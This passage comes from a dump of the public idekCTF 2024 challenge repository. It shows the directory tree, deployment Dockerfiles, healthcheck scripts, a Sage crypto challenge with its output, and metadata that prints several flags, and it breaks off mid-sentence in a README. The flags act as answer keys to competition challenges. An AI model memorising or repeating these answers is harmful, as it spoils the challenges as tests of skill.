├── .gitattributes ├── .gitignore ├── .gitmodules ├── README.md ├── crypto ├── Heaven-or-Hell │ ├── README.md │ ├── attachments │ │ └── server.sage │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── nsjail.cfg │ │ └── server.sage │ ├── debug │ │ └── solve.sage │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ └── meta.yaml ├── OTRU │ ├── README.md │ ├── attachments │ │ └── server.sage │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── nsjail.cfg │ │ └── server.sage │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── healthcheck.sage │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ └── meta.yaml ├── baby-bundle │ ├── README.md │ ├── attachments │ │ ├── README.md │ │ ├── chall.sage │ │ └── out.txt │ ├── debug │ │ ├── flag.py │ │ └── solve.py │ ├── meta.yaml │ └── writeup.md ├── goldenticket │ ├── README.md │ ├── attachments │ │ └── chall.py │ ├── debug │ │ ├── chall-unredacted.py │ │ └── solve.py │ └── meta.yaml ├── irrandomcible │ ├── README.md │ ├── attachments │ │ ├── main.sage │ │ └── out.txt │ ├── debug │ │ ├── main-unredacted.sage │ │ └── solve.sage │ ├── meta.yaml │ └── writeup.md ├── seedy │ ├── README.md │ ├── attachments │ │ ├── chall.py │ │ └── output.txt │ ├── debug │ │ ├── chall-unredacted.py │ │ ├── flag.txt │ │ ├── output.txt │ │ ├── randcrack │ │ │ ├── mathlib │ │ │ │ └── matrix32.py │ │ │ ├── mt19937_crack.py │ │ │ └── z3wrapper.py │ │ └── solve.py │ └── meta.yaml ├── summertime │ ├── README.md │ ├── attachments │ │ ├── chall.sage │ │ └── flag.txt │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── chall.sage │ │ ├── flag.txt │ │ └── nsjail.cfg │ ├── debug │ │ └── solve.py │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ └── meta.yaml └── tensor-galore │ ├── README.md │ ├── attachments │ ├── function_field_elliptic.py │ └── server.sage │ ├── challenge.yaml │ ├── challenge │ ├── Dockerfile │ ├── function_field_elliptic.py │ ├── nsjail.cfg │ ├── secret.py │ └── server.sage │ ├── healthcheck │ ├── Dockerfile │ ├── function_field_elliptic.py │ ├── healthcheck.sage │ ├── healthcheck_loop.sh │ └── healthz_webserver.py │ ├── meta.yaml │ └── writeup.md ├── klodd ├── 00-traefik.yaml ├── 01-traefik-crd.yaml ├── 10-klodd-crd.yaml ├── 11-klodd-rbac.yaml ├── 12-klodd.yaml ├── README.md ├── certs │ ├── fullchain.pem │ └── privkey.pem └── challenges │ ├── crator.yaml │ ├── includeme.yaml │ ├── minecraft-hacked.yaml │ ├── srcdoc-memos-revenge.yaml │ └── untitled-smarty-challenge.yaml ├── misc ├── clyde-jail │ ├── README.md │ ├── attachments │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── flag.txt │ │ ├── patch.diff │ │ ├── patched-cli.js │ │ └── readflag.c │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── patched-cli.js │ │ └── readflag.c │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ └── meta.yaml ├── memoryfs │ ├── README.md │ ├── attachments │ │ └── main.py │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ └── main.py │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ └── meta.yaml ├── minecraft-hacked │ ├── README.md │ ├── attachments │ │ ├── Dockerfile │ │ ├── build.gradle │ │ ├── compress.sh │ │ ├── docker-compose.yml │ │ ├── gradle.properties │ │ ├── gradle │ │ │ └── wrapper │ │ │ │ ├── gradle-wrapper.jar │ │ │ │ └── gradle-wrapper.properties │ │ ├── gradlew │ │ ├── gradlew.bat │ │ ├── settings.gradle │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── challenge │ │ │ │ ├── Challenge.java │ │ │ │ └── mixin │ │ │ │ └── InitMixin.java │ │ │ └── resources │ │ │ ├── assets │ │ │ └── modid │ │ │ │ └── icon.png │ │ │ ├── fabric.mod.json │ │ │ └── modid.mixins.json │ ├── build.sh │ ├── challenge │ │ ├── .gitattributes │ │ ├── Dockerfile │ │ ├── build.gradle │ │ ├── compress.sh │ │ ├── docker-compose.yml │ │ ├── gradle.properties │ │ ├── gradle │ │ │ └── wrapper │ │ │ │ ├── gradle-wrapper.jar │ │ │ │ └── gradle-wrapper.properties │ │ ├── gradlew │ │ ├── gradlew.bat │ │ ├── readme.md │ │ ├── settings.gradle │ │ ├── src │ │ │ └── main │ │ │ │ ├── java │ │ │ │ └── com │ │ │ │ │ └── challenge │ │ │ │ │ ├── Challenge.java │ │ │ │ │ └── mixin │ │ │ │ │ └── InitMixin.java │ │ │ │ └── resources │ │ │ │ ├── assets │ │ │ │ └── modid │ │ │ │ │ └── icon.png │ │ │ │ ├── fabric.mod.json │ │ │ │ └── modid.mixins.json │ │ └── world.tar.gz │ └── meta.yaml ├── nmpz1 │ ├── README.md │ ├── attachments │ │ └── flag.py │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── LICENSE │ │ ├── chall.html │ │ ├── challs.json │ │ ├── flag.py │ │ ├── index.html │ │ ├── public │ │ │ ├── .gitattributes │ │ │ ├── css │ │ │ │ ├── chall.css │ │ │ │ └── main.css │ │ │ ├── flag.py │ │ │ ├── img.tar.gz │ │ │ ├── info.json │ │ │ └── js │ │ │ │ ├── chall.js │ │ │ │ └── main.js │ │ ├── pull.py │ │ └── server.js │ └── meta.yaml ├── nmpz2 │ ├── README.md │ └── meta.yaml └── nmpz3 │ ├── README.md │ └── meta.yaml ├── pwn ├── a-silence-of-three-parts │ ├── README.md │ ├── attachments │ │ ├── Dockerfile │ │ ├── chal │ │ └── flag.txt │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── chal │ │ ├── chal.c │ │ ├── flag.txt │ │ ├── nsjail.cfg │ │ ├── patch.py │ │ └── patched │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ ├── healthz_webserver.py │ │ ├── ld-linux-x86-64.so.2 │ │ ├── libc.so.6 │ │ └── patched │ └── meta.yaml ├── dead-pwners-society │ ├── attachments │ │ ├── .gitattributes │ │ └── dead-pwners-society.tar.gz │ ├── challenge.yaml │ ├── challenge │ │ ├── .gitattributes │ │ ├── Dockerfile │ │ ├── bzImage │ │ ├── flag.txt │ │ ├── kctf-pow │ │ ├── pow_run.sh │ │ ├── root.img │ │ ├── run.py │ │ ├── run.sh │ │ ├── start.sh │ │ └── ynetd │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── bzImage │ │ ├── exploit.c │ │ ├── exploit.tar.gz │ │ ├── flag.txt │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ ├── healthz_webserver.py │ │ └── increment.c │ └── meta.yaml ├── kernel-module-golf │ ├── .gitignore │ ├── attachments │ │ ├── .config │ │ ├── bzImage │ │ ├── initramfs.cpio.gz │ │ ├── module │ │ │ ├── Makefile │ │ │ ├── load.c │ │ │ └── load.ko │ │ ├── run.sh │ │ └── upload.py │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── addflag.sh │ │ ├── bzImage │ │ ├── compress.sh │ │ ├── decompress.sh │ │ ├── flag.txt │ │ ├── initramfs.cpio.gz │ │ ├── run.sh │ │ └── upload.py │ ├── fixup.sh │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── bzImage │ │ ├── exploit │ │ ├── exploit.c │ │ ├── exploit.s │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ ├── healthz_webserver.py │ │ ├── hi.ko │ │ ├── initramfs.cpio.gz │ │ ├── minelf.py │ │ ├── reloc.py │ │ ├── run.sh │ │ └── solve.py │ └── meta.yaml ├── lazy-gambler-pwner │ ├── README.md │ ├── attachments │ │ └── template.py │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── auto_chall.py │ │ ├── auto_codegen.py │ │ ├── auto_compile.py │ │ ├── auto_vuln_func.py │ │ ├── auto_win_func.py │ │ ├── main.py │ │ └── nsjail.cfg │ ├── debug │ │ ├── solve_with_binja.py │ │ └── solve_without_binja.py │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ └── meta.yaml └── write-me │ ├── README.md │ ├── attachments │ ├── Dockerfile │ ├── flag.txt │ ├── ld-2.31.so │ ├── libc-2.31.so │ ├── write_me │ └── write_me.c │ ├── challenge.yaml │ ├── challenge │ ├── Dockerfile │ ├── flag.txt │ ├── nsjail.cfg │ ├── write_me │ └── write_me.c │ ├── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py │ └── meta.yaml ├── rev ├── Game │ ├── README.md │ ├── attachments │ │ ├── bass.dll │ │ ├── music.xm │ │ ├── sfx_achievement.wav │ │ ├── sfx_hit.wav │ │ ├── sfx_jump.wav │ │ ├── spritesheet.json │ │ ├── spritesheet.png │ │ └── trex_runner.exe │ └── meta.yaml ├── hide-and-seek │ ├── README.md │ ├── attachments │ │ └── idekctf_hideandseek.exe │ └── meta.yaml ├── metronome │ ├── README.md │ ├── attachments │ │ └── metronome │ ├── debug │ │ ├── Makefile │ │ ├── filltemplate.py │ │ ├── flag.txt │ │ ├── genparams.py │ │ ├── metronome │ │ ├── metronome-template.c │ │ ├── metronome.c │ │ └── params.txt │ ├── meta.yaml │ └── scripts │ │ └── extract.sh ├── minions-in-4k │ ├── README.md │ ├── attachments │ │ ├── .gitattributes │ │ └── minions-in-4k.tar.gz │ └── meta.yaml ├── nlibs-baby │ ├── README.md │ ├── attachments │ │ └── baby.tar.gz │ └── meta.yaml ├── nlibs │ ├── README.md │ ├── attachments │ │ └── nlibs.tar.gz │ ├── debug │ │ ├── Makefile │ │ ├── build.py │ │ ├── check.py │ │ ├── clean.py │ │ ├── coolnames.json │ │ ├── gen_sources.py │ │ ├── obf.py │ │ ├── tea.py │ │ ├── templates │ │ │ ├── matrix.c │ │ │ ├── matrix.h │ │ │ ├── rc4.c │ │ │ ├── rc4.h │ │ │ ├── sbox.c │ │ │ ├── sbox.h │ │ │ ├── sha1.c │ │ │ ├── sha1.h │ │ │ ├── tea.c │ │ │ ├── tea.h │ │ │ └── util.h │ │ └── util.py │ └── meta.yaml └── the-moon │ ├── README.md │ ├── attachments │ ├── Dockerfile │ ├── moon.idek │ ├── moon.lua │ └── run.sh │ └── meta.yaml ├── sanity ├── feedback-survey │ └── meta.yaml └── welcome │ └── meta.yaml ├── scripts ├── rcds │ ├── __init__.py │ ├── backend │ │ ├── __init__.py │ │ └── backend.py │ ├── backends │ │ ├── __init__.py │ │ ├── k8s │ │ │ ├── __init__.py │ │ │ ├── backend.py │ │ │ ├── jinja.py │ │ │ ├── manifests.py │ │ │ ├── options.schema.yaml │ │ │ └── templates │ │ │ │ ├── _helpers.jinja │ │ │ │ ├── deployment.yaml │ │ │ │ ├── ingress.yaml │ │ │ │ ├── namespace.yaml │ │ │ │ ├── network-policy.yaml │ │ │ │ └── service.yaml │ │ └── rctf │ │ │ ├── __init__.py │ │ │ ├── backend.py │ │ │ ├── options.schema.yaml │ │ │ └── rctf.py │ ├── challenge │ │ ├── __init__.py │ │ ├── challenge.py │ │ ├── challenge.schema.yaml │ │ ├── config.py │ │ └── docker.py │ ├── cli │ │ ├── __init__.py │ │ ├── __main__.py │ │ └── deploy.py │ ├── errors.py │ ├── project │ │ ├── __init__.py │ │ ├── assets.py │ │ ├── config.py │ │ ├── project.py │ │ └── rcds.schema.yaml │ ├── py.typed │ └── util │ │ ├── __init__.py │ │ ├── deep_merge.py │ │ ├── find.py │ │ ├── jsonschema.py │ │ └── load.py └── rcli.py ├── terraform └── admin-bot │ ├── .gitignore │ ├── build.sh │ ├── image │ ├── Dockerfile │ └── config.js │ └── main.tf └── web ├── crator ├── README.md ├── attachments │ ├── Dockerfile │ └── app │ │ ├── app.py │ │ ├── db.py │ │ ├── db.sqlite │ │ ├── sandbox.py │ │ └── templates │ │ ├── index.html │ │ ├── layout.html │ │ ├── login.html │ │ ├── problem.html │ │ ├── register.html │ │ ├── submission.html │ │ ├── submissions.html │ │ └── submit.html ├── build.sh ├── challenge │ ├── Dockerfile │ └── app │ │ ├── app.py │ │ ├── db.py │ │ ├── db.sqlite │ │ ├── sandbox.py │ │ └── templates │ │ ├── index.html │ │ ├── layout.html │ │ ├── login.html │ │ ├── problem.html │ │ ├── register.html │ │ ├── submission.html │ │ ├── submissions.html │ │ └── submit.html ├── debug │ └── exploit.py └── meta.yaml ├── flamethrower ├── README.md ├── attachments │ ├── bot.js │ ├── docker-compose.yml │ └── web │ │ ├── Dockerfile │ │ └── src │ │ ├── package.json │ │ ├── posts.json │ │ ├── server.js │ │ ├── static │ │ ├── flamethrower.js │ │ ├── loader.js │ │ ├── posts.js │ │ └── style.css │ │ └── views │ │ ├── about.ejs │ │ ├── index.ejs │ │ └── post.ejs ├── challenge.yaml ├── challenge │ ├── Dockerfile │ └── src │ │ ├── package.json │ │ ├── posts.json │ │ ├── server.js │ │ ├── static │ │ ├── flamethrower.js │ │ ├── loader.js │ │ ├── posts.js │ │ └── style.css │ │ └── views │ │ ├── about.ejs │ │ ├── index.ejs │ │ └── post.ejs ├── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py └── meta.yaml ├── idek-hello ├── README.md ├── attachments │ ├── bot.js │ ├── docker-compose.yml │ └── hello │ │ ├── Dockerfile │ │ ├── init.sh │ │ ├── nginx.conf │ │ └── src │ │ ├── index.php │ │ └── info.php ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── init.sh │ ├── nginx.conf │ └── src │ │ ├── index.php │ │ └── info.php ├── debug │ └── solve.html ├── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py └── meta.yaml ├── includeme ├── README.md ├── attachments │ ├── Dockerfile │ ├── app.jl │ ├── example.jl │ └── flag.txt ├── build.sh ├── challenge │ ├── Dockerfile │ ├── app.jl │ ├── example.jl │ └── flag.txt ├── debug │ └── solve.py └── meta.yaml ├── srcdoc-memos-revenge ├── README.md ├── attachments │ ├── docker-compose.yml │ └── web │ │ ├── Dockerfile │ │ └── src │ │ ├── bot.js │ │ ├── index.js │ │ ├── package-lock.json │ │ └── package.json ├── build.sh ├── challenge │ ├── Dockerfile │ └── src │ │ ├── bot.js │ │ ├── index.js │ │ ├── package-lock.json │ │ └── package.json └── meta.yaml ├── srcdoc-memos ├── README.md ├── attachments │ ├── bot │ │ ├── Dockerfile │ │ └── config.js │ ├── docker-compose.yml │ └── web │ │ ├── Dockerfile │ │ └── src │ │ ├── index.js │ │ ├── package-lock.json │ │ └── package.json ├── challenge.yaml ├── challenge │ ├── Dockerfile │ └── src │ │ ├── index.js │ │ ├── package-lock.json │ │ └── package.json ├── healthcheck │ ├── Dockerfile │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py └── meta.yaml └── untitled-smarty-challenge ├── README.md ├── attachments ├── Dockerfile ├── flag.txt ├── index.php ├── openbdir.ini └── pages │ ├── about │ └── home ├── build.sh ├── challenge ├── Dockerfile ├── flag.txt ├── index.php ├── openbdir.ini └── pages │ ├── about │ └── home └── meta.yaml /.gitattributes: -------------------------------------------------------------------------------- 1 | rev/nlibs/attachments/nlibs.tar.gz filter=lfs diff=lfs merge=lfs -text 2 | rev/nlibs-baby/attachments/baby.tar.gz filter=lfs diff=lfs merge=lfs -text 3 | misc/nmpz1/challenge/public/img.tar.gz filter=lfs diff=lfs merge=lfs -text 4 | misc/minecraft-hacked/challenge/idek.tar.gz filter=lfs diff=lfs merge=lfs -text -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "crypto/tensor-galore/challenge/vector-bundles-sagemath"] 2 | path = crypto/tensor-galore/challenge/vector-bundles-sagemath 3 | url = https://git.disroot.org/montessiel/vector-bundles-sagemath.git 4 | [submodule "crypto/tensor-galore/healthcheck/vector-bundles-sagemath"] 5 | path = crypto/tensor-galore/healthcheck/vector-bundles-sagemath 6 | url = https://git.disroot.org/montessiel/vector-bundles-sagemath.git 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # idekCTF 2024 2 | idekCTF 2024 public challenge repository 3 | 4 | Notes: 5 | - All challenges which require a remote service is deployable using [kctf](https://google.github.io/kctf/google-cloud.html) 6 | - Any writeups from authors or competitors will be in the challenge's `README.md` 7 | - A majority of challenge contain a full solve script in `healthcheck/healthcheck.py` 8 | - Our instancer is in `klodd` 9 | - Our admin bot (which is outdated by 2 years) is in `terraform` -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/README.md: -------------------------------------------------------------------------------- 1 | # Heaven or Hell 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** EggRoll 5 | 6 | ## Description 7 | Do you believe in fate? 8 | -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: heaven-or-hell 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/heaven-or-hell-healthcheck:43385b359212a69207cda5e7d2f4ed7336c22841905a3add073dc29c17718205 14 | image: us.gcr.io/idekctf-374221/heaven-or-hell-challenge:51746d19c08f367d629a1198372ea994a2d306b15ab445dc661874247a894858 15 | -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sagemath/sagemath:latest AS chroot 2 | 3 | USER root 4 | 5 | RUN apt-get update && apt-get install -y socat python3 python3-pip && rm -rf /var/lib/apt/lists/* 6 | RUN sage -pip install pycryptodome 7 | 8 | RUN mkdir -m 777 /app 9 | 10 | USER sage 11 | 12 | COPY server.sage /app/ 13 | COPY flag.txt /app/ 14 | 15 | WORKDIR /app 16 | 17 | RUN sage --preparse server.sage 18 | 19 | FROM gcr.io/kctf-docker/challenge@sha256:eb0f8c3b97460335f9820732a42702c2fa368f7d121a671c618b45bbeeadab28 20 | 21 | COPY --from=chroot / /chroot 22 | 23 | COPY nsjail.cfg /home/user/ 24 | 25 | CMD ["bash", "-c", "kctf_setup && kctf_drop_privs socat TCP-LISTEN:1337,reuseaddr,fork EXEC:\"kctf_pow nsjail --config /home/user/nsjail.cfg --cwd /app -- /usr/bin/sage --nodotsage server.sage.py\""] -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{wh0_t3lls_y0u_th3_s3cr3t!} 2 | -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | def solve(): 5 | def handle_pow(r): 6 | print(r.recvuntil(b'python3 ')) 7 | print(r.recvuntil(b' solve ')) 8 | challenge = r.recvline().decode('ascii').strip() 9 | p = process(['kctf_bypass_pow', challenge]) 10 | solution = p.readall().strip() 11 | r.sendline(solution) 12 | print(r.recvuntil(b'Correct\n')) 13 | 14 | 15 | # con = process('./write_me_patched') 16 | con = remote('127.0.0.1', 1337) 17 | print(con.recvuntil(b'== proof-of-work: ')) 18 | if con.recvline().startswith(b'enabled'): 19 | handle_pow(con) 20 | 21 | con.recvuntil(b'Make your choice carefully:') 22 | 23 | con.close() 24 | exit(0) 25 | 26 | solve() -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=60 18 | PERIOD=120 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done -------------------------------------------------------------------------------- /crypto/Heaven-or-Hell/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Heaven or Hell 2 | author: EggRoll 3 | public: true 4 | flag: idek{wh0_t3lls_y0u_th3_s3cr3t!} 5 | description: |- 6 | Do you believe in fate? 7 | -------------------------------------------------------------------------------- /crypto/OTRU/README.md: -------------------------------------------------------------------------------- 1 | # OTRU 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** EggRoll 5 | 6 | ## Description 7 | AnOther crypTo foR U :) 8 | 9 | Note. In local test, you may need previous version of Sage like 9.6 in order to construct Quaternion algebra with base ring Zmod(N). 10 | -------------------------------------------------------------------------------- /crypto/OTRU/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: otru 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/otru-healthcheck:79d394f601fb2c87ad177eaaa0888b36209a931666e5d646c44fd52de1dc9a4e 14 | image: us.gcr.io/idekctf-374221/otru-challenge:4aea2a482706f69756972cc347765f18b3dd10f85a6364d302ec68de860dd473 15 | -------------------------------------------------------------------------------- /crypto/OTRU/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | 2 | 3 | FROM sagemath/sagemath:9.6 AS chroot 4 | 5 | USER root 6 | 7 | RUN apt-get update && apt-get install -y socat python3 python3-pip && rm -rf /var/lib/apt/lists/* 8 | RUN sage -pip install pycryptodome 9 | 10 | RUN mkdir -m 777 /app 11 | 12 | USER sage 13 | 14 | COPY server.sage /app/ 15 | COPY flag.txt /app/ 16 | 17 | WORKDIR /app 18 | 19 | RUN sage --preparse server.sage 20 | 21 | FROM gcr.io/kctf-docker/challenge@sha256:eb0f8c3b97460335f9820732a42702c2fa368f7d121a671c618b45bbeeadab28 22 | 23 | COPY --from=chroot / /chroot 24 | 25 | COPY nsjail.cfg /home/user/ 26 | 27 | CMD ["bash", "-c", "kctf_setup && kctf_drop_privs socat TCP-LISTEN:1337,reuseaddr,fork EXEC:\"kctf_pow nsjail --config /home/user/nsjail.cfg --cwd /app -- /usr/bin/sage --nodotsage server.sage.py\""] 28 | -------------------------------------------------------------------------------- /crypto/OTRU/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{I'm_t00_0bl1v10us_t0_pr0v1d3_x1_@nd_x2!} 2 | -------------------------------------------------------------------------------- /crypto/OTRU/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=30 18 | PERIOD=10 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 23 | 24 | while true; do 25 | echo -n "[$(date)] " 26 | if timeout "${TIMEOUT}" sage --nodotsage /home/user/healthcheck.sage.py; then 27 | echo 'ok' | tee /tmp/healthz 28 | else 29 | echo -n "$? " 30 | echo 'err' | tee /tmp/healthz 31 | fi 32 | sleep "${PERIOD}" 33 | done 34 | -------------------------------------------------------------------------------- /crypto/OTRU/meta.yaml: -------------------------------------------------------------------------------- 1 | name: OTRU 2 | author: EggRoll 3 | public: true 4 | flag: idek{I'm_t00_0bl1v10us_t0_pr0v1d3_x1_@nd_x2!} 5 | description: |- 6 | AnOther crypTo foR U :) 7 | 8 | Note. In local test, you may need previous version of Sage like 9.6 in order to construct Quaternion algebra with base ring Zmod(N). 9 | -------------------------------------------------------------------------------- /crypto/baby-bundle/README.md: -------------------------------------------------------------------------------- 1 | # Baby Bundle 2 | **Category:** Crypto 3 | **Difficulty:** Easy/Hard 4 | **Author:** A~Z 5 | 6 | ## Description 7 | 8 | A crane flew by, and delivered this baby chall. 9 | I can't understand a word it speaks. 10 | 11 | ## Distribution 12 | - `chall.sage` 13 | - `out.txt` 14 | - `README.md` -------------------------------------------------------------------------------- /crypto/baby-bundle/attachments/chall.sage: -------------------------------------------------------------------------------- 1 | # Patch deprecation warnings 2 | sage.structure.element.is_Matrix = lambda z: isinstance(z, sage.structure.element.Matrix) 3 | # See README.md for this package 4 | from vector_bundle import * 5 | from string import printable 6 | from tqdm import tqdm 7 | 8 | password = ''.join(choice(printable) for _ in range(15)).encode() 9 | 10 | p = 66036476783091383193200018291948785097 11 | F = GF(p) 12 | K. = FunctionField(F) 13 | L = VectorBundle(K, -x.zeros()[0].divisor()) # L = O(-1) 14 | 15 | V = L.tensor_power(password[0]) 16 | for b in tqdm(password[1:]): 17 | V = V.direct_sum(L.tensor_power(b)) 18 | 19 | L = L.dual() # L = O(1) 20 | out = [ 21 | len(V.tensor_product(L.tensor_power(m)).h0()) 22 | for m in tqdm(printable.encode()) 23 | ] 24 | 25 | print(out) 26 | 27 | 28 | from Crypto.Cipher import AES 29 | from hashlib import sha256 30 | from flag import flag 31 | flag += bytes((16-len(flag)) % 16) 32 | 33 | key = sha256(bytes(sorted(password))).digest()[:16] 34 | aes = AES.new(key, AES.MODE_ECB) 35 | enc = aes.encrypt(flag) 36 | print('enc:', enc.hex()) 37 | -------------------------------------------------------------------------------- /crypto/baby-bundle/attachments/out.txt: -------------------------------------------------------------------------------- 1 | [49, 52, 55, 58, 62, 66, 71, 76, 81, 86, 431, 444, 457, 470, 484, 498, 512, 526, 540, 554, 568, 582, 596, 610, 625, 640, 655, 670, 685, 700, 715, 730, 745, 760, 775, 790, 134, 141, 148, 155, 162, 169, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 257, 266, 275, 284, 293, 303, 313, 323, 333, 345, 24, 25, 26, 27, 28, 29, 31, 33, 35, 37, 39, 41, 43, 45, 47, 91, 96, 101, 106, 113, 120, 127, 357, 369, 381, 393, 405, 418, 805, 820, 835, 850, 23, 0, 1, 4, 2, 3] 2 | enc: 5f0a8761f98748422d97f60f11d8590d56e1462409a677fbf52259b084b8a724 -------------------------------------------------------------------------------- /crypto/baby-bundle/debug/flag.py: -------------------------------------------------------------------------------- 1 | flag = b'idek{R34dy_f0r_m0r3?}' -------------------------------------------------------------------------------- /crypto/baby-bundle/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Baby Bundle 2 | author: A~Z 3 | flag: idek{R34dy_f0r_m0r3?} 4 | public: true 5 | description: |- 6 | A crane flew by, and delivered this baby chall. 7 | I can't understand a word it speaks. -------------------------------------------------------------------------------- /crypto/goldenticket/README.md: -------------------------------------------------------------------------------- 1 | # Golden Ticket 2 | **Category:** Crypto 3 | **Difficulty:** Easy 4 | **Author:** Giapppp 5 | 6 | ## Description 7 | 8 | Can you help Charles - who doesn't have any knowledge about cryptography, get 